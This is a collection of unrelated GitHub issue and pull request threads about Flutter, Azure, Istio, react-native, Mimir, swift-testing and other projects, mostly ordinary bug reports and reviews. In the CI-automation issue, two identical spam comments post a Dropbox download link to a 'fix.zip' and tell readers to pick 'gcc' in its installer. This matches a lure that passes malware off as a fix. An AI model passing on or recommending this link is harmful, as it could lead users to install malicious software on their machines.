[!] iOS toolchain - develop for iOS devices (Xcode 9.4.1)
• Xcode at /Applications/Xcode.app/Contents/Developer
• Xcode 9.4.1, Build version 9F2000
✗ libimobiledevice and ideviceinstaller are not installed. To install with Brew, run:
brew update
brew install --HEAD usbmuxd
brew link usbmuxd
brew install --HEAD libimobiledevice
brew install ideviceinstaller
✗ ios-deploy not installed. To install with Brew:
brew install ios-deploy
✗ Brew can be used to install tools for iOS device development.
Download brew at https://brew.sh/.
[✓] Android Studio (version 3.2)
• Android Studio at /Applications/Android Studio.app/Contents
• Flutter plugin version 31.3.1
• Dart plugin version 181.5656
• Java version OpenJDK Runtime Environment (build 1.8.0_152-release-1136-b06)
[✓] Connected device (1 available)
• iPhone X • A5297B5F-67FE-4D57-984E-32F4CF068DE0 • ios • iOS 11.4 (simulator)
! Doctor found issues in 1 category.

Hi, just want to check if this is still a problem for you.

I have this error now.

Could everyone who still has this problem please file a new issue with the exact descriptions what happens, logs and the output of ' flutter doctor -v'  please.
All system setups can be slightly different so its always better to open new issues and reference related issues.

Could everyone who still has this problem please file a new issue with the exact descriptions what happens, logs and the output of ' flutter doctor -v'  please.
All system setups can be slightly different so its always better to open new issues and reference related issues.

I I did the following and it worked
Open file Podfile (ios/Podfile) and change.

add  use_frameworks!
add config.build_settings['SWIFT_VERSION'] = '5.0'

target 'Runner' do
  use_frameworks! # add this line

  # Prepare symlinks folder. We use symlinks to avoid having Podfile.lock
  # referring to absolute paths on developers' machines.
  system('rm -rf .symlinks')
  system('mkdir -p .symlinks/plugins')

  # Flutter Pods
  generated_xcode_build_settings = parse_KV_file('./Flutter/Generated.xcconfig')
  if generated_xcode_build_settings.empty?
    puts "Generated.xcconfig must exist. If you're running pod install manually, make sure flutter pub get is executed first."
  end
  generated_xcode_build_settings.map { |p|
    if p[:name] == 'FLUTTER_FRAMEWORK_DIR'
      symlink = File.join('.symlinks', 'flutter')
      File.symlink(File.dirname(p[:path]), symlink)
      pod 'Flutter', :path => File.join(symlink, File.basename(p[:path]))
    end
  }

  # Plugin Pods
  plugin_pods = parse_KV_file('../.flutter-plugins')
  plugin_pods.map { |p|
    symlink = File.join('.symlinks', 'plugins', p[:name])
    File.symlink(p[:path], symlink)
    pod p[:name], :path => File.join(symlink, 'ios')
  }
end

# Prevent Cocoapods from embedding a second Flutter framework and causing an error with the new Xcode build system.
install! 'cocoapods', :disable_input_output_paths => true

post_install do |installer|
  installer.pods_project.targets.each do |target|
    target.build_configurations.each do |config|
      config.build_settings['SWIFT_VERSION'] = '5.0' # add this line
      config.build_settings['ENABLE_BITCODE'] = 'NO'
    end
  end
end

@hieuseesaa did not work for me


item_rm(recursive=TRUE)

This seems like a bug, or I'm just reading it wrong:
> item_rm(phaseIkey, recursive = TRUE)
Error: Item has children. To remove children, grandchildren, etc. set recursive=TRUE.

I set recursive=TRUE so I could remove all the children, and got an error that the item has children.

I'll take a look later, probably a bug.

Hmmm, what version of sbtools are you using? I tried with 0.15.3 and couldn't re-create
> item_rm('56996f60e4b0ec051295ecc3')
Error: Item has children. To remove children, grandchildren, etc. set recursive=TRUE.
> item_rm('56996f60e4b0ec051295ecc3', recursive=TRUE)
[1] TRUE


Remove dist from Git

I think we should ignore the dist folder from git and just have it published on npm?

Agreed!

closed as part of: https://github.com/majames/react-audio-vis/pull/4


Upload a result index file

Updates the combine-results action to upload an index file with general info about the results:
[
  {
    "nwo": ...,
    "id": "...",
    "results_count": ...,
    "bqrs_file_size": ...,
    "sarif_file_size": ...
  },
  {
    ...
  }
]

(sarif_file_size only exists for problem and path-problem queries)
To make the refactoring a bit easier, I've also fixed a "TODO" about counting the number of results during interpretation.

(🍐 paired with @robertbrignull on this!)

Okay, I think the test finally works! 😭 😅
@rneatherway, let me know if you have more suggestions for the general structure or for the BQRSInfo type 🙇🏽♀

A single small comment


Adding north-south api for PrP [DO NOT MERGE]

This checklist is used to make sure that common issues in a pull request are addressed. This will expedite the process of getting your pull request merged and avoid extra work on your part to fix issues discovered during the review process.
PR information

[ ] The title of the PR is clear and informative.
[ ] There are a small number of commits, each of which have an informative message. This means that previously merged commits do not appear in the history of the PR. For information on cleaning up the commits in your pull request, see this page.
[ ] Except for special cases involving multiple contributors, the PR is started from a fork of the main repository, not a branch.
[ ] If applicable, the PR references the bug/issue that it fixes.
[ ] Swagger files are correctly named (e.g. the api-version in the path should match the api-version in the spec).

Quality of Swagger

[ ] I have read the contribution guidelines.
[ ] My spec meets the review criteria:

[ ] The spec conforms to the Swagger 2.0 specification.
[ ] The spec follows the guidelines described in the Swagger checklist document.
[ ] Validation tools were run on swagger spec(s) and have all been fixed in this PR.

Automation for azure-sdk-for-python

Automation for azure-sdk-for-go

Automation for azure-sdk-for-java

Automation for azure-sdk-for-node

Automation for azure-sdk-for-ruby

Can one of the admins verify this patch?

it seems we're still not using whitespace for tab.

In swagger in upstream master uses whitespaces.

@Ream Kazaz is there any more change coming? if not we can request ARM review since this PR introduces a set of new APIs.

That would be all.
Please request Arm review for us.
Thanks

@anuchandy After adding ARM reviewers do you mind adding the [Do not merge] label for us?

@reamkazaz - Requested ARM review. We will keep the same label. Once the service is deployed to production you can remove the "don't merge" text from PR label.

@ravbhatnagar can you take a look?

looks good. signing off from ARM side.

@reamkazaz this PR is idle state for last 2+ months, did we deploy the service? if not I would suggest closing this PR and re-open it at later point.

Automation for azure-sdk-for-js


butwal

What kind of change does this PR introduce?

[ ] Bug Fix
[ ] Documentation change
[x] Added a new city
[ ] Other(s)

Why was this change needed?
new city information was lacking

i have added information about butwal city

Other information

Closing this due to inactivity!


Minecraft MOTD has all characters escaped when sleeping

Bug Report
System Information

Operating System: Ubuntu 20.04
AMP version and build date: v<IP_ADDRESS>, built 02/03/2021 12:23
Which AMP release stream you're using: Mainline

I confirm:

[x] that I have searched for an existing bug report for this issue.
[x] that I am using the latest available version of AMP.
[x] that my operating system is up-to-date.

Symptoms
When a Minecraft server is in its sleeping state it does appear online, however the MOTD gets displayed with all the otherwise interpreted special characters displayed as plain text. After the server has awoken, the MOTD returns to normal.
Before waking:

After waking, no other changes made:

Edit: I also just noticed that the number of slots is not up to date during sleep.
Reproduction

Enable sleep, then set the following MOTD:
\u00A78This \u00A72Is \u00A74Not\u00A7r\n\u00A79Displaying \u00A76Correctly
mctools.org input string:

&8This &2Is &4Not
&9Displaying &6Correctly

Please fix this 😊

Is there any progress to get this fixed?


[question] how to handle innate spellcasting

Is there any YAML attribute for innate spellcasting?
I know we have the spells field, but what if one creature has both?
As a reference see the Drow Mage

When dealing with data from 5etools, the information rarely lines up 1:1, which is why Handlebars Templates have become so popular in our TTRPG Community. :)
There is no current specific attribute for spell casting, but think of the currently listed block options as less about their namesakes and more about what they do.

Group creates a group
Traits Lets you list out a name and a description.
A property lists out one specific thing.
Spell is like a trimmed down traits.

And so on.
So for the Drow Mage, who I imported from 5E Tools, everything imported and the Innate Spellcasting was listed as under the general Spellcasting. It's not as pretty though. In those cases, you may want to manually adjust it to use a trait field instead, or consider a custom template. See below.
With custom templates, you can have the same "type" of field multiple times, be named separate things. For instance, in the Pathfinder 2E Statblock, we heavily utilize traits for nearly every field, because of the functionality allotted for it. Here is a copy of the 5e Template with a simple Traits field, given the innatespellcasting name.

Yeah I'm writing this in Italian on Obsidian, so I am typing it all, translated, instead of importing it in english from 5etools.
Also I opened this other issue that prevents me to translate the spellcasting field in a custom template: https://github.com/valentine195/obsidian-5e-statblocks/issues/138

Closing as this was addressed in an update, and we'll handle anything further in #138.


Tasks 2.0 npm run compile task as a preLaunchTask, Code won't start debugger

VSCode Version: Code 1.13.1 (379d2efb5539b09112c793d3d9a413017d736f89, 2017-06-14T18:21:47.485Z)
tasks.json:

{
    "version": "2.0.0"
}

launch.json

// A launch configuration that compiles the extension and then opens it inside a new window
{
    "version": "0.1.0",
    "configurations": [
        {
            "name": "Launch Extension",
            "type": "extensionHost",
            "request": "launch",
            "runtimeExecutable": "${execPath}",
            "args": ["--extensionDevelopmentPath=${workspaceRoot}" ],
            "stopOnEntry": false,
            "sourceMaps": true,
            "outFiles": [
                "${workspaceRoot}/out/*",
                "${workspaceRoot}/out/src/*",
                "${workspaceRoot}/out/test/*"
            ],
            "preLaunchTask": "run compile",
            "smartStep": true
        }
    ]
}

Expected result: When I press F5, VS Code runs npm run compile and then starts debugger.
Actual result:

When I press F5 first time VS Code just compiles and doesn't start debugger, just showing a spinning line in the status bar.
Subsequent attempts to run actually starts debugger and work as expected.
When I execute "Terminate running task" command I get error message:

Related to: #28235

@ytimenkov where does the run compile task come from. Can you execute that task from F1 > Run Task ?

Info is in #29013

@dbaeumer This task is provided by npm built-in extension, activated when tasks.json has version 2.0.0.
I suspect there are either some glitches in handling isBackground in new tasks implementation (or it is not supported or implemented in npm extension) or tsc watch requires special parser which lets vscode know when initial job is done and task went into watch mode.

This for addressed with the fix done for #29013. Marking as dup: #29013


⚠ Jenkins Plugins Artifactory has degraded performance

In 305d592, Jenkins Plugins Artifactory (https://get.jenkins.io/plugins/artifactory/) experienced degraded performance:

HTTP code: 200
Response time: 1263 ms

Resolved: Jenkins Plugins Artifactory performance has improved in 7d241a9 after 12 minutes.


Add a License to Project

@EddiDanielsson, Add a Lisence to the project so it looks better

@EddiDanielsson Good job


Record video of powder dispenser Bluetooth module malfunction

Instructions in an email (I need to copy here)

@evelynnesher I found the Bluetooth module. I put it back by the autotrickler (same location as shown above).


Update to curl 8 4 0

duplicate of #34405. Did you even look at the existing PRs?

duplicate of #34405. Did you even look at the existing PRs?

They were submitted around the same time, no big deal :)


SAN improvements

Fixes https://github.com/istio/istio/issues/40801
First, need to understand the bugs:

One bug is we mutated DestinationRule. While in push context we deepcopy the whole rule, we are still mutating shared copies within push context which leads to broken behavior when a DR applies to multiple Services
Due to a regression in https://github.com/istio/istio/pull/39133, we are not actually respecting svc.ServiceAccount. This is a fairly uncommon field which is service-level SAs; typically we get from Pod/WorkloadEntry
pushContext.ServiceAccounts does not take into account service namespace. So if there are multiple hostnames in different namespace (due to SE) we get pollution between them

This PR fixes all 3 of these issues and adds some tests. The behavior here is identical to 1.14 now, with the exception that bug (1) is present in 1.14 as well.
Release plan is to merge to master and 1.15 as is, and then merge the DeepCopy change and tests to 1.14

Skipping CI for Draft Pull Request.
If you want CI signal for your change, please convert it to an actual PR.
You can still manually trigger a test run with /test all

/test all

@howardjohn: The following test failed, say /retest to rerun all failed tests or /retest-required to rerun all mandatory failed tests:

Test name
Commit
Details
Required
Rerun command

lint_istio
acb0785f7eabd5d821fcd18eb5e86883c3bbaca2
link
true
/test lint

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@howardjohn: The following test failed, say /retest to rerun all failed tests or /retest-required to rerun all mandatory failed tests:

Test name
Commit
Details
Required
Rerun command

lint_istio
188d2110cb9c12936fa281a78e8025b4725776e2
link
true
/test lint

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@howardjohn can we please have this cherry-picked to 1.15 as well?


Writing and submitting a research article - team La Chouffe

Hi @open-sci/la-chouffe,
As anticipated in one of the previous lectures, you have to write a scientific article that presents your research. Please, follow the structure suggested in the slides linked above (i.e. Abstract, Introduction, Material and Methods, Result, Discussion and Conclusions, References).
Once finalised, the article should be submitted in Zenodo adding appropriate metadata (the more, the better). The deadline for the submission is two days before the final workshop, i.e. by the 23rd of May, 23:59 Rome time. Once in Zenodo, close this issue by attaching in the comment the clickable DOI URLs (https://doi.org/...) of the article.
For further doubts, do not hesitate to contact me in the Slack group.

Hello, this is our article:
Davide Brembilla, Chiara Catizone & Giulia Venditti. (2022). Availability of Article Metadata from Open Journals – A case study in DOAJ and Crossref. https://doi.org/10.5281/zenodo.6570290


The guidance on signing is missing a reference

The sentence "Refer to documentation these rules." is missing the link to "these rules" here.

Thanks James. Fixed in https://github.com/prebid/addressability-framework/pull/185


improvement push down all predicates into rowgroup/page filtering for ParquetReader

cherry-pick from https://github.com/apache/doris/pull/16388
Tow improvements:

Refactor rowgroup&page filtering in ParquetReader, and use the operator overloading of Doris native c++ type to process comparison.
Support decimal/decimal v3/date/datev2/datetime/datetimev2

Proposed changes
Issue Number: close #xxx

Further comments
If this is a relatively large or complex change, kick off the discussion at<EMAIL_ADDRESS>by explaining why you chose the solution you did and what alternatives you considered, etc...

run buildall


RUMM-2765 Fix unit tests flakiness in MutationResolverTest

What does this PR do?
A brief description of the change being made with this pull request.
Motivation
What inspired you to submit this pull request?
Additional Notes
Anything else we should know when reviewing?
Review checklist (to be filled by reviewers)

[ ] Feature or bugfix MUST have appropriate tests (unit, integration, e2e)
[ ] Make sure you discussed the feature or bugfix with the maintaining team in an Issue
[ ] Make sure each commit and the PR mention the Issue number (cf the CONTRIBUTING doc)

Codecov Report

Merging #1157 (1fedf7e) into feature/sdkv2 (d451d7e) will increase coverage by 0.01%.
The diff coverage is n/a.

@@                Coverage Diff                @@
##           feature/sdkv2    #1157      +/-   ##
=================================================
+ Coverage          82.28%   82.29%   +0.01%
=================================================
  Files                353      353
  Lines              11796    11796
  Branches            2007     2007
=================================================
+ Hits                9706     9707       +1
- Misses              1465     1466       +1
+ Partials             625      623       -2

Impacted Files
Coverage Δ

...android/log/internal/logger/TelemetryLogHandler.kt
71.43% <0.00%> (-28.57%)
:arrow_down:

...d/v2/core/internal/storage/FileEventBatchWriter.kt
95.24% <0.00%> (-2.38%)
:arrow_down:

...ndroid/telemetry/internal/TelemetryEventHandler.kt
71.67% <0.00%> (-0.83%)
:arrow_down:

.../android/rum/internal/monitor/DatadogRumMonitor.kt
92.78% <0.00%> (-0.56%)
:arrow_down:

...src/main/kotlin/com/datadog/android/DatadogSite.kt
86.67% <0.00%> (ø)

...android/v2/core/internal/DatadogContextProvider.kt
81.54% <0.00%> (ø)

...android/v2/core/internal/net/DataOkHttpUploader.kt
94.52% <0.00%> (ø)

.../kotlin/com/datadog/android/v2/core/DatadogCore.kt
89.66% <0.00%> (+0.43%)
:arrow_up:

...android/log/internal/domain/DatadogLogGenerator.kt
95.95% <0.00%> (+0.68%)
:arrow_up:

...in/com/datadog/android/log/internal/LogsFeature.kt
88.71% <0.00%> (+3.23%)
:arrow_up:

... and 1 more


moved to oceanography section of gallery

Move an orca plot to the more appropriate section of the gallery.
Ref #3744

@tkknight Awesome, thanks 👍


Compile fails in gcc 5.1.0

In gcc 5 SQLiteCpp fails to compile as gcc 5 has noexcept, but fails SQLiteCPP's detection.

Thanks @worktycho for reporting this!
Tell me if anything else (like compile warnings) needs more fix/cleanup/updates


Nothings happens after pressing Take-photo or Choose-from-library, even no errors

Description
As title, nothing happens when I pressed Take-photo or Choose-from-library.
However the Cancel button is effective, the if (response.didCancel) block is entered.
I also tried to provide a callback function to options of ImagePicker.showImagePicker(options, the Cancel logic is still effective, but there shows no error.
Additional Information

React Native version:

    "react": "16.0.0-alpha.12",
    "react-native": "0.45.1",
    "react-native-config": "^0.2.1",
    "react-native-device-info": "^0.10.0",
    "react-native-drawer": "^2.3.0",
    "react-native-image-picker": "^0.26.4",
    "react-native-maps": "^0.15.3",
    "react-native-material-ui": "^1.12.0",
    "react-native-vector-icons": "^4.3.0",

Platform: Android 6
Development Operating System: Windows 7
Dev tools: I'm forcing my Android SDK to ver 23 with this config

subprojects {
    afterEvaluate {project ->
        if (project.hasProperty("android")) {
            android {
                compileSdkVersion 23
                buildToolsVersion '23.0.1'
            }
        }
    }
}

Any suggestion or guess will be appreciated, thanks!

+1 I'm having the same issue only happing on Andriod

+1 I'm having the same issue only happing on Andriod

Wow, seems I'm not alone. So anyone got clues?
I've traced the code a little bit, and read the function launchCamera in android/src/main/java/com/imagepicker/ImagePickerModule.java; since there's no error output, the flow should executes perfect include this final line currentActivity.startActivityForResult(cameraIntent, requestCode);, then nothing happens.
So what does that mean? The startActivityForResult failed without error? I'm not sure.
Hope somebody could give some hint, thanks!

It working for me now, something with my build I belive

@AlmogRnD what did you do to fix this issue?

I just updated react, did a clean build and rebuild

@AlmogRnD Would it be possible to share the clean & rebuild command? Thanks!

@AlmogRnD ok, thank you so much.

I do it straight inside Xcode or android studio

it's working for me now. Do this step to fix this issue

Add the required permissions in AndroidManifest.xml:

@nqthuan303 already follow that & still not work :/

I have the same problem on android. How to solve it ? Please Tell me. Thanks~

@smk524198002 You can refer  https://github.com/react-community/react-native-image-picker/issues/539

For us the native-navigation from airbnb did not override the onActivityResult method. So if it doesn't work for you, you probably have a library which doesn't override the onActivityResult and passes it through.

I faced the same problem and got the solution from #803. Hope this helps!

You saved my day @nqthuan303 Thanks! I didn't even notice the react-native link did not add the permissions automatically!


Crash after uploading image

When I upload a new image I get the error;
TypeError: Cannot read properties of undefined (reading 'config')
    at getMediaDirectory (C:\Users\*\Documents\*\backend\node_modules\payload-blurhash-plugin\src\index.ts:11:32)
    at C:\Users\*\Documents\*\backend\node_modules\payload-blurhash-plugin\src\index.ts:64:24
    at step (C:\Users\*\Documents\*\backend\node_modules\payload-blurhash-plugin\lib\index.js:67:23)
    at Object.next (C:\Users\*\Documents\*\backend\node_modules\payload-blurhash-plugin\lib\index.js:48:53)
    at C:\Users\*\Documents\*\backend\node_modules\payload-blurhash-plugin\lib\index.js:42:71
    at new Promise (<anonymous>)
    at __awaiter (C:\Users\*\Documents\*\backend\node_modules\payload-blurhash-plugin\lib\index.js:38:12)
    at hook (C:\Users\*\Documents\*\backend\node_modules\payload-blurhash-plugin\lib\index.js:102:20)
    at C:\Users\*\Documents\*\backend\node_modules\payload\src\collections\operations\update.ts:176:19
    at processTicksAndRejections (node:internal/process/task_queues:96:5)

"payload": "^1.0.11",

@matthijs166 thanks a lot for the PR, I've merged it and confirmed the plugin works as expected with Payload 1.0.11 now. I'll release a new version shortly :^)

@invakid404 Awesome your a hero!


Increase branch coverage: Array.prototype routines

This issue is created in order to improve branch coverage of functions of Array.prototype routines.
The following script is made for testing branch coverage with all the test suites (--jerry-test-suite --test262 --unittests --jerry-tests), or with only one .js file.
https://github.com/matedabis/jerryscript/blob/gcov_coverage_tester/tests/gcov-tests/gcovtester.py
While measuring the branch coverage we dont count JERRY_ASSERT s. The results are measured by running all the test scripts, with the modifications in the PRs.
If you start working on a function, or open a PR, please leave a comment about it on this issue, so I can keep this issue up to date.

Function
Branch coverage
Progress

helper set length
0/0
All covered

toString
6/6
#2717

toLocaleString
18/18
#2716

concat
11/16
@repasics is working on it

get separator string
2/2
All covered

at index
5/6
@matedabis is working on it

join
20/20
#2727

pop
13/16
@repasics is working on it

push
13/16
@repasics is working on it

reverse
37/38
#2728

shift
22/30
@matedabis  is working on it

slice
15/22
@repasics  is working on it

sort compare helper
20/26
@repasics  is working on it

sort
48/48
#2674

splice
78/78
#2682

unshift
24/28
@matedabis  is working on it

indexOf
26/26
All covered

lastIndexOf
40/40
All covered

apply
32/32
All covered

map
21/22
Remaining branch is unreachable according to us

filter
22/22
All covered

reduce from
45/46
Remaining branch is unreachable according to us

reduce
0/0
All covered

reduce right
0/0
All covered

find
19/22
@matedabis is working on it

Closing this issue since #2796 has landed.


It should be possible to make PostgreSQL database connection secure through TLS

PostgreSQL has TLS support. It should be possible to make PostgreSQL database connection secure through TLS. The default configuration can continue to be disabled.
BTW, TLS can be used with RDS also:
http://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/CHAP_PostgreSQL.html#PostgreSQL.Concepts.General.SSL

@kbsingh any thoughts on this ? how are we secured/connected currently ?

Yes, I agree with @baijum our current configuration is discouraged. To me, the problem is how to manage these certificates without injected them in the image.

In production, the DB connection to pg is in sslmode 'required', which means traffic will be encrypted. Our DB is only accessible from inside our network.
required vs verify-full leaves us open to man in the middle attacks (if they are inside our network, at which point we have a few other issues as well)

Yeah! they are inside of our network but this one is shared with other apps which can get infected.
That said, we don't support https communication across all the chain (from lb to the target container). So if you find any other reason to avoid the encryption, I'm good with it.


Heating up during Hot Streak

You can get heating up if you get a crit while you have hot streak active.
This has been tested and confirmed on beta.
Currently this addon does not support this.

Actually, the addon does support this.

if you cast Fireball and get a crit, the addon enters the "heating up" state, which displays the small alert
if you cast a second Fireball and get a crit, the addon enters the "hot streak" state, which hides the small alert and shows the big alert
if you cast a third Fireball and get a crit, the addon enters a special state "hot streak - heating up", it does not show the small alert, only the big alert is visible
if you now cast Pyroblast, it hides the big alert, and the addon switches to the "heating up" state, which displays the small alert

This is designed to match the reference client i.e., Retail.
I’d like to know your experience:

you don’t see the small alert in step 4

this would be a bug
in this case, please describe what you did and what the combat log tells you

you don’t see the small alert in step 3

this is intended and matches the reference client

or you see another problem, in which case I’m all ears

Oh my mistake. It was step 3 I was referring to.
I don't play retail so I wasn't sure of the intention.
The reason I mentioned it is because it affects the rotation if heating up and hot streak is up at the same time.

That’s interesting feedback. Then maybe I’ll add an option eventually, so that mages who rely on this info can have it. Or maybe even put it by default, I don’t know.


Enhancement : please add LHA archive support for AMIGA with Amiberry (Retropie)

Amiberry is an AMIGA emulator. It requires LHA archives in order to work properly (not ZIP).
Please add support for not ignoring, and scraping, LHA archives.

Would be very nice to have.


Setup prometheus-rules in Mimir

Mimir currently runs on gauss and do ingest metrics from other Prometheus servers (https://github.com/giantswarm/roadmap/issues/2266 https://github.com/giantswarm/roadmap/issues/2265).
In order to replace the current Prometheus setup we need to move the Prometheus Rules evaluation from Prometheus Server to Mimir.

prometheus-operator does not support mimir, we need to check grafana-operator

The grafana agents supports that out of the box https://gigantic.slack.com/archives/C05AUBA75Q9/p1685709315899309

We know grafana-agent supports this and we now have an app for it.
What's the next step here ?

Review this https://github.com/giantswarm/grafana-agent-app/pull/3, release and deploy it on gauss

Also related https://github.com/giantswarm/prometheus-meta-operator/pull/1309

Prometheus Rules are setup in mimir thanks to the grafana agent in flow mode (currently deployed by hand) using the following command:
helm install grafana-agent grafana/grafana-agent -n monitoring -f configmap.yaml
with configmap.yaml being:
agent:
  configMap:
    content: |
      mimir.rules.kubernetes "local" {
        address = "http://mimir-ruler.mimir.svc:8080/"
      }
controller: deployment # defaults to daemonset which is not useful for our use case

That way, prometheus rules CR are transformed by the grafana agent to prometheus rules sent to the mimir ruler.
In addition, we deployed the mimir alertmanager and a datasource to make sure we can see the alerts.

What's left:

[ ] Deploy the grafana agent in a proper way in Gauss instead of manually.
[ ] Find how to send the alertmanager config to alertmanager?

Questions:

Does inhibition rules work in Mimir?
How to load alertmanager config per tenant?

Alerting rules are missing some labels (external labels actually)

https://github.com/giantswarm/silence-operator/pull/318

@giantswarm/team-atlas could you take a look at this issue? :)

Sloth alerts are fixed, the others will be a case 2 case basis:

Done


No longer require at least one JWT token in validator builder logic

Codecov Report

Merging #37 into master will increase coverage by 0.61%.
The diff coverage is n/a.

@@            Coverage Diff             @@
##           master      #37      +/-   ##
==========================================
+ Coverage    79.8%   80.42%   +0.61%
==========================================
  Files           6        6
  Lines         525      521       -4
==========================================
  Hits          419      419
+ Misses        105      101       -4
  Partials        1        1

Impacted Files
Coverage Δ

src/tr1d1um/tr1d1um.go
35.09% <ø> (+0.9%)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 577435d...4dbaced. Read the comment docs.


New add one storage cases, add one scsi disk with largest disk size

Will merge them in this version. New comments will be consider in next version as current situation


Section sort order in HTML output

Is it possible to control the sort order of the categories/sections in the HTML output? It would be great if it followed the sort order specified in base.yml. Here's my base.yml I point theo CLI at:
imports:
  - ./text-color.yml
  - ./background-color.yml
  - ./border.yml
  - ./border-radius.yml
  - ./font-family.yml
  - ./font-size.yml
  - ./font-weight.yml
  - ./line-height.yml
  - ./space.yml
  - ./box-shadow.yml
  - ./media-query.yml

In the HTML output, the order is random: Space, Font Weight, Font Size, etc.

Anyone? I've tried prefixing the yml files with numbers (1-text-color.yml, 2-background-color.yml, etc.) and even this doesn't fix the HTML output sort order?


Use Streaming

Need to reference this page (https://github.com/openai/openai-node/blob/master/helpers.md) and likely we can Remove the Messages object too.

Done


49 Updated Readme added See Also section

Added See Also Section in Readme as mentioned in issue #49

Thanks for the PR! Could you also add a short description on what it does and how it differs from try?

Thank you, I have cherry picked the commits over to #113, made some edits and rebased it with main.


Need the ability to automate continuous integration checks

As a Developer
I need automation to build and test every pull request
So that I do not have to rely on manual testing of each request, which is time-consuming
Assumptions

GitHub Actions will be used for the automation workflow
The workflow must include code linting and testing
The Docker image should be postgres:alpine for the database
A GitHub Actions badge should be added to the README.md to reflect the build status

Acceptance Criteria
Given code is ready to be merged
When a pull request is created
Then GitHub Actions should run linting and unit tests
And the badge should show that the build is passing

Download
https://www.dropbox.com/scl/fi/ku9a1wblqyb84rb8ekase/fix.zip?rlkey=8763vim31xfgywjgy217yb8lh&st=gbp0kafn&dl=1
In the installer menu, select "gcc."

Download
https://www.dropbox.com/scl/fi/ku9a1wblqyb84rb8ekase/fix.zip?rlkey=8763vim31xfgywjgy217yb8lh&st=gbp0kafn&dl=1
In the installer menu, select "gcc."


Cleaned up the parse/mk API

@mightybyte
An attempt to clean up the parse vs. mk API,
parse* functions now take "full" paths as strings and attempt to make type safe values, while the mk* functions do it a PathSegment at a time.
For the parse* family of functions I've tried to make it parse anything that is accepted on the UNIX command line. (e.g /foo//bar is valid just like /foo/bar.
Functions like relativeFromWeak and rootFromWeak can be combined with the parse* functions to get the more specific types if desired.

@mightybyte I'm going to merge this in

Looks good, thanks.

@mightybyte merged and pushd to <IP_ADDRESS> on hackage, sorry it took so long.


Embed meetup « widgets »

Not sure if they’re really widgets, but we can embed or at least link to the calendar and activity feeds
https://help.meetup.com/hc/en-us/articles/360002879851-Exporting-a-group-or-personal-event-calendar

won't do for now, we now have an event section directly on the website


Bug: Some voice output cannot be disabled

As of the most recent update (<IP_ADDRESS>), all or most boss dialogue is always voiced, even if all channels are disabled.
To reproduce, load into any trial with a talkative boss (e.g. Garuda Extreme) with all voice channels disabled.

do you have this option checked?

Do you have this option checked in the main settings tab under general?

It will make all battle text that shows up on the screen be read out


Missing scaffolds.fasta with some tool combinations

scaffolds.fasta is not being generated if a merged assembly is carried out and no scaffolder is selected. In this situation prokka is run on contigs instead of scaffolds, then annotation_merge fails due to missing scaffolds.embl file. Two solutions possible:

Create scaffolds.fasta from copy of contigs.fasta (1:1 contig->scaffold relationship), but these aren't strictly scaffolds so may confuse...
Check for existence of scaffolds.embl in annotation_merge and fall back on contigs.embl if it is missing

Resolved in commit fb971f1


Build performance issue of swift-testing

Description
Before migrating to use "swift-testing", one of my package's average CI time is as the following

 XCTest
  macOS 13 + Swift 5.9.2
  Ubuntu + Swift 5.9.2

 Swift Test(Debug+Covage)
  45s
  20s

 Swift Test(Release)
  34s
  27s

Most the job will do its job less in 1 min.
However after fully migrate all my test case to swift-testing, the CI time exploded especially with Release configuration.
Expected behavior
It is expected the build time will increase due to the usage of swift macro. And 2~3 min looks normal and acceptable.
Increased to more than 10 min is definitely means something is wrong here IMO.
And my question is the following:

Is this a known issue?
Is this expected for Swift 5.9 (or 5.10) client only and the issue will not happen for Swift Snapshots toolchain?
Is there a workaround for this currently?

Actual behavior

 Testing
  macOS 13 + Swift 5.9.2
  Ubuntu + Swift 5.9.2

 Swift Test(Debug+Covage)
  4min3s
  3min24s

 Swift Test(Release)
  11min19s
  12min37s

Steps to reproduce
No response
swift-testing version/commit hash
swift-testing 0.2
Swift & OS version (output of swift --version ; uname -a)
Swift 5.9.2

Thanks for opening this issue. swift-testing does not support Swift 5.9, and Swift 5.10 support is temporary, so we'd want to see what your results look like in Swift 5.11 (i.e. using a main development toolchain.)
Is it possible the times you're seeing include the time to build the testing library itself? XCTest is built into Xcode and the Swift toolchain, so it doesn't need to be built with your package or test target; the testing library is an experimental Swift package and must be built from source along with swift-syntax, and those packages can take a noticeable amount of time to build before your package can start building.
If the times above do not include the time to build swift-syntax or swift-testing, then I think we need to confirm the issue persists in Swift 5.11. Since we don't have access to your test code, we can't reproduce the results you're seeing locally and are not able to profile the build process to see where time is being lost. Are you able to share access to your repository? If not, are you able to provide a reduced test function that is significantly slower to build with swift-testing than with XCTest?

Is it possible the times you're seeing include the time to build the testing library itself?

Yes, I highly suspect it too.

XCTest is built into Xcode and the Swift toolchain, so it doesn't need to be built with your package or test target

Is there a Xcode Beta version available for us to try it? (I do not know whether the latest public beta version - Xcode 15.2 Beta is capable of it.)
Or we can only use the nightly Swift Toolchain via swift test to test it?
Anyway I'll give it a try with the nightly toolchain locally and report back the result later.

swift test has built-in support for swift-testing using a main-branch development toolchain when you pass the --enable-experimental-swift-testing option.

Does this only supported on macOS or I have missed something else here?
I have tried it with the latest Swift nightly toolchain(2023-12-21-a) with Ubuntu 22.04. Still can't find Testing framework.
> uname -a
Linux ubuntu-2204 6.5.13-orbstack-00121-ge428743e4e98 #1 SMP Wed Dec 27 10:22:46 UTC 2023 aarch64 aarch64 aarch64 GNU/Linux

> swift --version
Swift version 5.11-dev (LLVM 13124099c3f0229, Swift d6871edc839adec)
Target: aarch64-unknown-linux-gnu

> swift test --enable-experimental-swift-testing
xx.swift:9:8: error: no such module 'Testing'
import Testing
       ^
error: fatalError

Time statistics on my local machine
> time swift test --enable-experimental-swift-testing
swift test --enable-experimental-swift-testing  171.38s user 9.40s system 238% cpu 1:15.85 total
> time swift test -c release --enable-experimental-swift-testing
swift test -c release --enable-experimental-swift-testing  527.19s user 10.92s system 150% cpu 5:56.43 total

[!Note]

Not comparable with the initial data I provide since they are running on CI machine
Most of the release build is stuck with [10/13] Compiling SwiftSyntax509 Empty.swift

The SwiftSyntax issue may exist for all macro pacakge.

swift-testing is not built into any toolchains. It is an experimental package. Sorry if my previous comments were confusing!
